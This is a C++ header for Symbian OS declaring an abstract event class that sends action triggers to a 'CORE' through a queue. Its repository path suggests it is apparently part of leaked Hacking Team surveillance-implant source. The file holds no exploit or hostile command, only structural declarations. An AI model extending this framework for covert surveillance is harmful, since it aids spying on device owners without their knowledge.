hackedteam/core-symbian

/*
 ============================================================================
 Name        : AbstractEvent.h
 Author      : Marco Bellino
 Version     : 1.0
 Copyright   : Your copyright notice
 Description : CAbstractEvent declaration
 ============================================================================
 */

#ifndef ABSTRACTEVENT_H
#define ABSTRACTEVENT_H

// INCLUDES
#include <e32std.h>
#include <e32base.h>

#include <HT\AbstractQueueEndPoint.h>
// CLASS DECLARATION

/**
 *  CAbstractEvent: 
 */
class CAbstractEvent : public CAbstractQueueEndPoint
    {
public:
    // Constructors and destructor

    /**
     * Destructor.
     */
    IMPORT_C ~CAbstractEvent();

    /**
     * Events MUST implement this method to start their task.
     */
    IMPORT_C virtual void StartEventL()=0;

protected:
    // From CAbstractQueueEndPoint
    IMPORT_C virtual void BaseConstructL(const TDesC8& params);

    /**
     * Constructor for performing 1st stage construction
     */
    IMPORT_C CAbstractEvent(TEventType aType, TUint32 aTriggerId);

    /**
     * Notify to the CORE that this Event has happened.
     * Sends a notification through the Queue.
     * Events should call this method to trigger the Actions.
     */
    IMPORT_C void SendActionTriggerToCoreL();
    
    /**
     * Notify to the CORE that this Event has happened.
     * Sends a notification through the Queue.
     * Events should call this method to trigger the Actions.
     * 
     * An Event can trigger many Actions.
     */
    IMPORT_C void SendActionTriggerToCoreL(TUint32 aTriggerId);

private:
    // From CAbstractQueueEndPoint
    void DispatchCommandL(TCmdStruct /*aCommand*/);

private:
    // When this Event will happen it will send a notifcation to the CORE using the Trigger Id as source
    TUint32 iTriggerId;
    };

#endif // ABSTRACTEVENT_H